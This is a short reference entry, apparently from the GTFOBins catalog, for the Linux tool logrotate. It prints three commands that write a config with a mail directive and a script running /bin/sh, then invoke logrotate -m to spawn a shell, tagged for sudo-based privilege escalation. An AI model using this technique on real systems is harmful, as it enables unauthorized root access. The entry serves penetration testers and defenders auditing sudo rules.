Catalog GTFOBins

GTFO · Tool

logrotate

7 techniques LinuxGTFOBins GPL-3.0

shell

ExecutionPrivilege Escalation Linux

This command is picky about file permissions. An existing config file can be used as weel, provided that it contains a mail directive.

echo -e '/path/to/temp-file.config {\nmail x@x.x\n}' >/path/to/temp-file.config
echo '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh
logrotate -m /path/to/temp-file.sh -f /path/to/temp-file
Context
sudo
Native
shell
MITRE
T1059